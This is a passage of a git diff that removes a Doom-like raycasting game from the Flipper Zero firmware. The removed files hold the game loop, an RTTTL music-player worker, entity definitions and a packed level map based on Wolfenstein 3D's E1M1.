fabs(plugin_state->player.velocity) * MOV_SPEED_INV; - } - - if(plugin_state->right) { - plugin_state->rot_speed = (double)ROT_SPEED * delta; - plugin_state->old_dir_x = plugin_state->player.dir.x; - plugin_state->player.dir.x = - plugin_state->player.dir.x * cos(-(plugin_state->rot_speed)) - - plugin_state->player.dir.y * sin(-(plugin_state->rot_speed)); - plugin_state->player.dir.y = - plugin_state->old_dir_x * sin(-(plugin_state->rot_speed)) + - plugin_state->player.dir.y * cos(-(plugin_state->rot_speed)); - plugin_state->old_plane_x = plugin_state->player.plane.x; - plugin_state->player.plane.x = - plugin_state->player.plane.x * cos(-(plugin_state->rot_speed)) - - plugin_state->player.plane.y * sin(-(plugin_state->rot_speed)); - plugin_state->player.plane.y = - plugin_state->old_plane_x * sin(-(plugin_state->rot_speed)) + - plugin_state->player.plane.y * cos(-(plugin_state->rot_speed)); - - //plugin_state->right = false; - } else if(plugin_state->left) { - plugin_state->rot_speed = (double)ROT_SPEED * delta; - plugin_state->old_dir_x = plugin_state->player.dir.x; - plugin_state->player.dir.x = - plugin_state->player.dir.x * cos(plugin_state->rot_speed) - - plugin_state->player.dir.y * sin(plugin_state->rot_speed); - plugin_state->player.dir.y = - plugin_state->old_dir_x * sin(plugin_state->rot_speed) + - plugin_state->player.dir.y * cos(plugin_state->rot_speed); - plugin_state->old_plane_x = plugin_state->player.plane.x; - plugin_state->player.plane.x = - plugin_state->player.plane.x * cos(plugin_state->rot_speed) - - plugin_state->player.plane.y * sin(plugin_state->rot_speed); - plugin_state->player.plane.y = - plugin_state->old_plane_x * sin(plugin_state->rot_speed) + - plugin_state->player.plane.y * cos(plugin_state->rot_speed); - //plugin_state->left = false; - } - plugin_state->view_height = - fabs(sin((double)furi_get_tick() * (double)JOGGING_SPEED)) * 6 * - plugin_state->jogging; - - if(plugin_state->gun_pos > GUN_TARGET_POS) { - // Right after fire - plugin_state->gun_pos -= 1; - } else if(plugin_state->gun_pos < GUN_TARGET_POS) { - plugin_state->gun_pos += 2; - } else if(!plugin_state->gun_fired && plugin_state->fired) { - //furi_hal_speaker_start(20480 / 10, 0.45f); - /*#ifdef SOUND - music_player_worker_start(plugin_state->music_instance->worker); -#endif*/ - plugin_state->gun_pos = GUN_SHOT_POS; - plugin_state->gun_fired = true; - plugin_state->fired = false; - fire(plugin_state); - - } else if(plugin_state->gun_fired && !plugin_state->fired) { - //furi_hal_speaker_stop(); - plugin_state->gun_fired = false; - - notification_message(plugin_state->notify, &sequence_short_sound); - - /*#ifdef SOUND - music_player_worker_stop(plugin_state->music_instance->worker); -#endif*/ - } - } else { - // Player is dead - if(plugin_state->view_height > -10) plugin_state->view_height--; - if(plugin_state->gun_pos > 1) plugin_state->gun_pos -= 2; - } - - if(fabs(plugin_state->player.velocity) > (double)0.003) { - updatePosition( - sto_level_1, - &(plugin_state->player.pos), - plugin_state->player.dir.x * plugin_state->player.velocity * delta, - plugin_state->player.dir.y * plugin_state->player.velocity * delta, - false, - plugin_state); - } else { - plugin_state->player.velocity = 0; - } - } -} - -int32_t doom_app() { - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); - PluginState* plugin_state = malloc(sizeof(PluginState)); - doom_state_init(plugin_state); - plugin_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!plugin_state->mutex) { - FURI_LOG_E("Doom_game", "cannot create mutex\r\n"); - furi_record_close(RECORD_NOTIFICATION); - furi_message_queue_free(event_queue); - free(plugin_state); - return 255; - } - FuriTimer* timer = - furi_timer_alloc(doom_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 12); - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, render_callback, plugin_state); - view_port_input_callback_set(view_port, input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - ////////////////////////////////// - plugin_state->init = false; - - PluginEvent event; -#ifdef SOUND - music_player_worker_load_rtttl_from_string(plugin_state->music_instance->worker, dsintro); - music_player_worker_start(plugin_state->music_instance->worker); -#endif - // Call dolphin deed on game start - dolphin_deed(DolphinDeedPluginGameStart); - - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(plugin_state->mutex, FuriWaitForever); -#ifdef SOUND - furi_check( - furi_mutex_acquire(plugin_state->music_instance->model_mutex, FuriWaitForever) == - FuriStatusOk); -#endif - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.key == InputKeyBack) { - processing = false; -#ifdef SOUND - if(plugin_state->intro_sound) { - furi_mutex_release(plugin_state->music_instance->model_mutex); - music_player_worker_stop(plugin_state->music_instance->worker); - } -#endif - } - - if(event.input.type == InputTypePress) { - if(plugin_state->scene == INTRO && event.input.key == InputKeyOk) { - plugin_state->scene = GAME_PLAY; - initializeLevel(sto_level_1, plugin_state); -#ifdef SOUND - furi_mutex_release(plugin_state->music_instance->model_mutex); - music_player_worker_stop(plugin_state->music_instance->worker); - plugin_state->intro_sound = false; -#endif - goto skipintro; - } - - //While playing game - if(plugin_state->scene == GAME_PLAY) { - // If the player is alive - if(plugin_state->player.health > 0) { - //Player speed - if(event.input.key == InputKeyUp) { - plugin_state->up = true; - } else if(event.input.key == InputKeyDown) { - plugin_state->down = true; - } - // Player rotation - if(event.input.key == InputKeyRight) { - plugin_state->right = true; - } else if(event.input.key == InputKeyLeft) { - plugin_state->left = true; - } - if(event.input.key == InputKeyOk) { - /*#ifdef SOUND - music_player_worker_load_rtttl_from_string(plugin_state->music_instance->worker, dspistol); -#endif*/ - if(plugin_state->fired) { - plugin_state->fired = false; - } else { - plugin_state->fired = true; - } - } - } else { - // Player is dead - if(event.input.key == InputKeyOk) plugin_state->scene = INTRO; - } - } - } - if(event.input.type == InputTypeRelease) { - if(plugin_state->player.health > 0) { - //Player speed - if(event.input.key == InputKeyUp) { - plugin_state->up = false; - } else if(event.input.key == InputKeyDown) { - plugin_state->down = false; - } - // Player rotation - if(event.input.key == InputKeyRight) { - plugin_state->right = false; - } else if(event.input.key == InputKeyLeft) { - plugin_state->left = false; - } - } - } - } - - skipintro: - if(event.type == EventTypeTick) { - doom_game_tick(plugin_state); - } - } -#ifdef SOUND - furi_mutex_release(plugin_state->music_instance->model_mutex); -#endif - view_port_update(view_port); - furi_mutex_release(plugin_state->mutex); - } -#ifdef SOUND - music_player_worker_free(plugin_state->music_instance->worker); - furi_mutex_free(plugin_state->music_instance->model_mutex); - free(plugin_state->music_instance->model); - free(plugin_state->music_instance); -#endif - furi_record_close(RECORD_NOTIFICATION); - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_mutex_free(plugin_state->mutex); - furi_message_queue_free(event_queue); - free(plugin_state); - return 0; -} diff --git a/applications/external/doom/doom_10px.png b/applications/external/doom/doom_10px.png deleted file mode 100644 index 17fe22c87..000000000 Binary files a/applications/external/doom/doom_10px.png and /dev/null differ diff --git a/applications/external/doom/doom_music_player_worker.c b/applications/external/doom/doom_music_player_worker.c deleted file mode 100644 index e81549625..000000000 --- a/applications/external/doom/doom_music_player_worker.c +++ /dev/null @@ -1,504 +0,0 @@ -#include "doom_music_player_worker.h" - -#include -#include - -#include -#include - -#include - -#define TAG "MusicPlayerWorker" - -#define MUSIC_PLAYER_FILETYPE "Flipper Music Format" -#define MUSIC_PLAYER_VERSION 0 - -#define SEMITONE_PAUSE 0xFF - -#define NOTE_C4 261.63f -#define NOTE_C4_SEMITONE (4.0f * 12.0f) -#define TWO_POW_TWELTH_ROOT 1.059463094359f - -typedef struct { - uint8_t semitone; - uint8_t duration; - uint8_t dots; -} NoteBlock; - -ARRAY_DEF(NoteBlockArray, NoteBlock, M_POD_OPLIST); - -struct MusicPlayerWorker { - FuriThread* thread; - bool should_work; - - MusicPlayerWorkerCallback callback; - void* callback_context; - - float volume; - uint32_t bpm; - uint32_t duration; - uint32_t octave; - NoteBlockArray_t notes; -}; - -static int32_t music_player_worker_thread_callback(void* context) { - furi_assert(context); - MusicPlayerWorker* instance = context; - - NoteBlockArray_it_t it; - NoteBlockArray_it(it, instance->notes); - if(furi_hal_speaker_acquire(1000)) { - while(instance->should_work) { - if(NoteBlockArray_end_p(it)) { - NoteBlockArray_it(it, instance->notes); - furi_delay_ms(10); - } else { - NoteBlock* note_block = NoteBlockArray_ref(it); - - float note_from_a4 = (float)note_block->semitone - NOTE_C4_SEMITONE; - float frequency = NOTE_C4 * powf(TWO_POW_TWELTH_ROOT, note_from_a4); - float duration = 60.0 * furi_kernel_get_tick_frequency() * 4 / instance->bpm / - note_block->duration; - uint32_t dots = note_block->dots; - while(dots > 0) { - duration += duration / 2; - dots--; - } - uint32_t next_tick = furi_get_tick() + duration; - float volume = instance->volume; - - if(instance->callback) { - instance->callback( - note_block->semitone, - note_block->dots, - note_block->duration, - 0.0, - instance->callback_context); - } - - furi_hal_speaker_stop(); - furi_hal_speaker_start(frequency, volume); - while(instance->should_work && furi_get_tick() < next_tick) { - volume *= 0.9945679; - furi_hal_speaker_set_volume(volume); - furi_delay_ms(2); - } - NoteBlockArray_next(it); - } - } - - furi_hal_speaker_stop(); - furi_hal_speaker_release(); - } else { - FURI_LOG_E(TAG, "Speaker system is busy with another process."); - } - - return 0; -} - -MusicPlayerWorker* music_player_worker_alloc() { - MusicPlayerWorker* instance = malloc(sizeof(MusicPlayerWorker)); - - NoteBlockArray_init(instance->notes); - - instance->thread = furi_thread_alloc(); - furi_thread_set_name(instance->thread, "MusicPlayerWorker"); - furi_thread_set_stack_size(instance->thread, 1024); - furi_thread_set_context(instance->thread, instance); - furi_thread_set_callback(instance->thread, music_player_worker_thread_callback); - - instance->volume = 1.0f; - - return instance; -} - -void music_player_worker_free(MusicPlayerWorker* instance) { - furi_assert(instance); - furi_thread_free(instance->thread); - NoteBlockArray_clear(instance->notes); - free(instance); -} - -static bool is_digit(const char c) { - return isdigit(c) != 0; -} - -static bool is_letter(const char c) { - return islower(c) != 0 || isupper(c) != 0; -} - -static bool is_space(const char c) { - return c == ' ' || c == '\t'; -} - -static size_t extract_number(const char* string, uint32_t* number) { - size_t ret = 0; - while(is_digit(*string)) { - *number *= 10; - *number += (*string - '0'); - string++; - ret++; - } - return ret; -} - -static size_t extract_dots(const char* string, uint32_t* number) { - size_t ret = 0; - while(*string == '.') { - *number += 1; - string++; - ret++; - } - return ret; -} - -static size_t extract_char(const char* string, char* symbol) { - if(is_letter(*string)) { - *symbol = *string; - return 1; - } else { - return 0; - } -} - -static size_t extract_sharp(const char* string, char* symbol) { - if(*string == '#' || *string == '_') { - *symbol = '#'; - return 1; - } else { - return 0; - } -} - -static size_t skip_till(const char* string, const char symbol) { - size_t ret = 0; - while(*string != '\0' && *string != symbol) { - string++; - ret++; - } - if(*string != symbol) { - ret = 0; - } - return ret; -} - -static bool music_player_worker_add_note( - MusicPlayerWorker* instance, - uint8_t semitone, - uint8_t duration, - uint8_t dots) { - NoteBlock note_block; - - note_block.semitone = semitone; - note_block.duration = duration; - note_block.dots = dots; - - NoteBlockArray_push_back(instance->notes, note_block); - - return true; -} - -static int8_t note_to_semitone(const char note) { - switch(note) { - case 'C': - return 0; - // C# - case 'D': - return 2; - // D# - case 'E': - return 4; - case 'F': - return 5; - // F# - case 'G': - return 7; - // G# - case 'A': - return 9; - // A# - case 'B': - return 11; - default: - return 0; - } -} - -static bool music_player_worker_parse_notes(MusicPlayerWorker* instance, const char* string) { - const char* cursor = string; - bool result = true; - - while(*cursor != '\0') { - if(!is_space(*cursor)) { - uint32_t duration = 0; - char note_char = '\0'; - char sharp_char = '\0'; - uint32_t octave = 0; - uint32_t dots = 0; - - // Parsing - cursor += extract_number(cursor, &duration); - cursor += extract_char(cursor, ¬e_char); - cursor += extract_sharp(cursor, &sharp_char); - cursor += extract_number(cursor, &octave); - cursor += extract_dots(cursor, &dots); - - // Post processing - note_char = toupper(note_char); - if(!duration) { - duration = instance->duration; - } - if(!octave) { - octave = instance->octave; - } - - // Validation - bool is_valid = true; - is_valid &= (duration >= 1 && duration <= 128); - is_valid &= ((note_char >= 'A' && note_char <= 'G') || note_char == 'P'); - is_valid &= (sharp_char == '#' || sharp_char == '\0'); - is_valid &= (octave <= 16); - is_valid &= (dots <= 16); - if(!is_valid) { - FURI_LOG_E( - TAG, - "Invalid note: %lu%c%c%lu.%lu", - duration, - note_char == '\0' ? '_' : note_char, - sharp_char == '\0' ? '_' : sharp_char, - octave, - dots); - result = false; - break; - } - - // Note to semitones - uint8_t semitone = 0; - if(note_char == 'P') { - semitone = SEMITONE_PAUSE; - } else { - semitone += octave * 12; - semitone += note_to_semitone(note_char); - semitone += sharp_char == '#' ? 1 : 0; - } - - if(music_player_worker_add_note(instance, semitone, duration, dots)) { - FURI_LOG_D( - TAG, - "Added note: %c%c%lu.%lu = %u %lu", - note_char == '\0' ? '_' : note_char, - sharp_char == '\0' ? '_' : sharp_char, - octave, - dots, - semitone, - duration); - } else { - FURI_LOG_E( - TAG, - "Invalid note: %c%c%lu.%lu = %u %lu", - note_char == '\0' ? '_' : note_char, - sharp_char == '\0' ? '_' : sharp_char, - octave, - dots, - semitone, - duration); - } - cursor += skip_till(cursor, ','); - } - - if(*cursor != '\0') cursor++; - } - - return result; -} - -bool music_player_worker_load(MusicPlayerWorker* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - bool ret = false; - if(strcasestr(file_path, ".fmf")) { - ret = music_player_worker_load_fmf_from_file(instance, file_path); - } else { - ret = music_player_worker_load_rtttl_from_file(instance, file_path); - } - return ret; -} - -bool music_player_worker_load_fmf_from_file(MusicPlayerWorker* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - bool result = false; - FuriString* temp_str; - temp_str = furi_string_alloc(); - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - - do { - if(!flipper_format_file_open_existing(file, file_path)) break; - - uint32_t version = 0; - if(!flipper_format_read_header(file, temp_str, &version)) break; - if(furi_string_cmp_str(temp_str, MUSIC_PLAYER_FILETYPE) || - (version != MUSIC_PLAYER_VERSION)) { - FURI_LOG_E(TAG, "Incorrect file format or version"); - break; - } - - if(!flipper_format_read_uint32(file, "BPM", &instance->bpm, 1)) { - FURI_LOG_E(TAG, "BPM is missing"); - break; - } - if(!flipper_format_read_uint32(file, "Duration", &instance->duration, 1)) { - FURI_LOG_E(TAG, "Duration is missing"); - break; - } - if(!flipper_format_read_uint32(file, "Octave", &instance->octave, 1)) { - FURI_LOG_E(TAG, "Octave is missing"); - break; - } - - if(!flipper_format_read_string(file, "Notes", temp_str)) { - FURI_LOG_E(TAG, "Notes is missing"); - break; - } - - if(!music_player_worker_parse_notes(instance, furi_string_get_cstr(temp_str))) { - break; - } - - result = true; - } while(false); - - furi_record_close(RECORD_STORAGE); - flipper_format_free(file); - furi_string_free(temp_str); - - return result; -} - -bool music_player_worker_load_rtttl_from_file(MusicPlayerWorker* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - bool result = false; - FuriString* content; - content = furi_string_alloc(); - Storage* storage = furi_record_open(RECORD_STORAGE); - File* file = storage_file_alloc(storage); - - do { - if(!storage_file_open(file, file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { - FURI_LOG_E(TAG, "Unable to open file"); - break; - }; - - uint16_t ret = 0; - do { - uint8_t buffer[65] = {0}; - ret = storage_file_read(file, buffer, sizeof(buffer) - 1); - for(size_t i = 0; i < ret; i++) { - furi_string_push_back(content, buffer[i]); - } - } while(ret > 0); - - furi_string_trim(content); - if(!furi_string_size(content)) { - FURI_LOG_E(TAG, "Empty file"); - break; - } - - if(!music_player_worker_load_rtttl_from_string(instance, furi_string_get_cstr(content))) { - FURI_LOG_E(TAG, "Invalid file content"); - break; - } - - result = true; - } while(0); - - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - furi_string_free(content); - - return result; -} - -bool music_player_worker_load_rtttl_from_string(MusicPlayerWorker* instance, const char* string) { - furi_assert(instance); - - const char* cursor = string; - - // Skip name - cursor += skip_till(cursor, ':'); - if(*cursor != ':') { - return false; - } - - // Duration - cursor += skip_till(cursor, '='); - if(*cursor != '=') { - return false; - } - cursor++; - cursor += extract_number(cursor, &instance->duration); - - // Octave - cursor += skip_till(cursor, '='); - if(*cursor != '=') { - return false; - } - cursor++; - cursor += extract_number(cursor, &instance->octave); - - // BPM - cursor += skip_till(cursor, '='); - if(*cursor != '=') { - return false; - } - cursor++; - cursor += extract_number(cursor, &instance->bpm); - - // Notes - cursor += skip_till(cursor, ':'); - if(*cursor != ':') { - return false; - } - cursor++; - if(!music_player_worker_parse_notes(instance, cursor)) { - return false; - } - - return true; -} - -void music_player_worker_set_callback( - MusicPlayerWorker* instance, - MusicPlayerWorkerCallback callback, - void* context) { - furi_assert(instance); - instance->callback = callback; - instance->callback_context = context; -} - -void music_player_worker_set_volume(MusicPlayerWorker* instance, float volume) { - furi_assert(instance); - instance->volume = volume; -} - -void music_player_worker_start(MusicPlayerWorker* instance) { - furi_assert(instance); - furi_assert(instance->should_work == false); - - instance->should_work = true; - furi_thread_start(instance->thread); -} - -void music_player_worker_stop(MusicPlayerWorker* instance) { - furi_assert(instance); - furi_assert(instance->should_work == true); - - instance->should_work = false; - furi_thread_join(instance->thread); -} diff --git a/applications/external/doom/doom_music_player_worker.h b/applications/external/doom/doom_music_player_worker.h deleted file mode 100644 index 9958a9273..000000000 --- a/applications/external/doom/doom_music_player_worker.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once - -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef void (*MusicPlayerWorkerCallback)( - uint8_t semitone, - uint8_t dots, - uint8_t duration, - float position, - void* context); - -typedef struct MusicPlayerWorker MusicPlayerWorker; - -MusicPlayerWorker* music_player_worker_alloc(); - -void music_player_worker_free(MusicPlayerWorker* instance); - -bool music_player_worker_load(MusicPlayerWorker* instance, const char* file_path); - -bool music_player_worker_load_fmf_from_file(MusicPlayerWorker* instance, const char* file_path); - -bool music_player_worker_load_rtttl_from_file(MusicPlayerWorker* instance, const char* file_path); - -bool music_player_worker_load_rtttl_from_string(MusicPlayerWorker* instance, const char* string); - -void music_player_worker_set_callback( - MusicPlayerWorker* instance, - MusicPlayerWorkerCallback callback, - void* context); - -void music_player_worker_set_volume(MusicPlayerWorker* instance, float volume); - -void music_player_worker_start(MusicPlayerWorker* instance); - -void music_player_worker_stop(MusicPlayerWorker* instance); - -#ifdef __cplusplus -} -#endif diff --git a/applications/external/doom/entities.c b/applications/external/doom/entities.c deleted file mode 100644 index 86c7f6ae1..000000000 --- a/applications/external/doom/entities.c +++ /dev/null @@ -1,42 +0,0 @@ -#include "entities.h" - -//extern "C" -/*Player create_player(double x, double y){ - return {create_coords((double) x + (double)0.5, (double) y + (double)0.5), create_coords(1, 0), create_coords(0, -0.66), 0, 100, 0}; -}*/ - -Player create_player(double x, double y) { - Player p; - p.pos = create_coords((double)x + (double)0.5, (double)y + (double)0.5); - p.dir = create_coords(1, 0); - p.plane = create_coords(0, -0.66); - p.velocity = 0; - p.health = 100; - p.keys = 0; - return p; //{create_coords((double) x + (double)0.5, (double) y + (double)0.5), create_coords(1, 0), create_coords(0, -0.66), 0, 100, 0}; -} - -//extern "C" -Entity - create_entity(uint8_t type, uint8_t x, uint8_t y, uint8_t initialState, uint8_t initialHealth) { - UID uid = create_uid(type, x, y); - Coords pos = create_coords((double)x + (double).5, (double)y + (double).5); - Entity new_entity; // = { uid, pos, initialState, initialHealth, 0, 0 }; - new_entity.uid = uid; - new_entity.pos = pos; - new_entity.state = initialState; - new_entity.health = initialHealth; - new_entity.distance = 0; - new_entity.timer = 0; - return new_entity; -} - -//extern "C" -StaticEntity crate_static_entity(UID uid, uint8_t x, uint8_t y, bool active) { - StaticEntity ent; - ent.uid = uid; - ent.x = x; - ent.y = y; - ent.active = active; - return ent; -} \ No newline at end of file diff --git a/applications/external/doom/entities.h b/applications/external/doom/entities.h deleted file mode 100644 index ef5eb1a78..000000000 --- a/applications/external/doom/entities.h +++ /dev/null @@ -1,56 +0,0 @@ -#ifndef _entities_h -#define _entities_h -#include -#include -#include "types.h" - -// Shortcuts -//#define create_player(x, y) {create_coords((double) x + (double)0.5, (double) y + (double)0.5), create_coords(1, 0), create_coords(0, -0.66), 0, 100} - -#define create_enemy(x, y) create_entity(E_ENEMY, x, y, S_STAND, 50) -#define create_medikit(x, y) create_entity(E_MEDIKIT, x, y, S_STAND, 0) -#define create_key(x, y) create_entity(E_KEY, x, y, S_STAND, 0) -#define create_fireball(x, y, dir) create_entity(E_FIREBALL, x, y, S_STAND, dir) -#define create_door(x, y) create_entity(E_DOOR, x, y, S_STAND, 0) - -// entity statuses -#define S_STAND 0 -#define S_ALERT 1 -#define S_FIRING 2 -#define S_MELEE 3 -#define S_HIT 4 -#define S_DEAD 5 -#define S_HIDDEN 6 -#define S_OPEN 7 -#define S_CLOSE 8 - -typedef struct Player { - Coords pos; - Coords dir; - Coords plane; - double velocity; - uint8_t health; - uint8_t keys; -} Player; - -typedef struct Entity { - UID uid; - Coords pos; - uint8_t state; - uint8_t health; // angle for fireballs - uint8_t distance; - uint8_t timer; -} Entity; - -typedef struct StaticEntity { - UID uid; - uint8_t x; - uint8_t y; - bool active; -} StaticEntity; - -Entity - create_entity(uint8_t type, uint8_t x, uint8_t y, uint8_t initialState, uint8_t initialHealth); -StaticEntity create_static_entity(UID uid, uint8_t x, uint8_t y, bool active); -Player create_player(double x, double y); -#endif diff --git a/applications/external/doom/img/1.png b/applications/external/doom/img/1.png deleted file mode 100644 index 1ecb073a6..000000000 Binary files a/applications/external/doom/img/1.png and /dev/null differ diff --git a/applications/external/doom/img/2.png b/applications/external/doom/img/2.png deleted file mode 100644 index 216b699de..000000000 Binary files a/applications/external/doom/img/2.png and /dev/null differ diff --git a/applications/external/doom/img/3.png b/applications/external/doom/img/3.png deleted file mode 100644 index b5aec03fd..000000000 Binary files a/applications/external/doom/img/3.png and /dev/null differ diff --git a/applications/external/doom/level.h b/applications/external/doom/level.h deleted file mode 100644 index 4d92a1cc6..000000000 --- a/applications/external/doom/level.h +++ /dev/null @@ -1,188 +0,0 @@ -#ifndef _level_h -#define _level_h - -#include "constants.h" - -/* - Based on E1M1 from Wolfenstein 3D - - ################################################################ - #############################...........######################## - ######....###################........E..######################## - ######....########..........#...........#...#################### - ######.....#######..........L.....E.......M.#################### - ######.....#######..........#...........#...#################### - ##################...########...........######################## - ######.........###...########...........######################## - ######.........###...#############D############################# - ######.........#......E##########...############################ - ######....E....D...E...##########...############################ - ######.........#.......##########...############################ - ######....E....##################...############################ - #...##.........##################...############################ - #.K.######D######################...############################ - #...#####...###############...#E.....K########################## - ##D######...###############..####...############################ - #...#####...###############..####...############################ - #...#...#...###############..####...############################ - #...D...#...#####################...############################ - #...#...#...#####################...############################ - #...######D#######################L############################# - #.E.##.........#################.....#################........## - #...##.........############...............############........## - #...##...E.....############...............############........## - #....#.........############...E.......E....#.........#........## - #....L....K....############................D....E....D....E...## - #....#.........############................#.........#........## - #...##.....E...############...............####....####........## - #...##.........############...............#####..#####.....M..## - #...##.........#################.....##########..#####........## - #...######L#######################D############..############### - #...#####...#####################...###########..############### - #E.E#####...#####################...###########..############### - #...#...#...#####################.E.###########..############### - #...D.M.#...#####################...###########..############### - #...#...#...#####################...###########..###.#.#.#.##### - #...#####...#####################...###########...#.........#### - #...#####...#####################...###########...D....E..K.#### - #................##......########...###########...#.........#### - #....E........E...L...E...X######...################.#.#.#.##### - #................##......########...############################ - #################################...############################ - #############..#..#..#############L############################# - ###########....#..#.########....#...#....####################### - #############.....##########.P..D...D....####################### - ############################....#...#....####################### - ##############..#################...############################ - ##############..############....#...#....####################### - ############################....D...D....####################### - ############################....#...#....####################### - #################################...############################ - ############################.............####################### - ############################..........EK.####################### - ############################.............####################### - ################################################################ -*/ - -/* - Same map above built from some regexp replacements using the legend above. - Using this way lets me use only 4 bit to store each block -*/ -const uint8_t sto_level_1[LEVEL_SIZE] = { - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, - 0x00, 0x00, 0x02, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, - 0x00, 0x20, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0x4F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x2F, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x20, 0x00, 0x04, 0x00, 0x02, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x20, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xF0, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 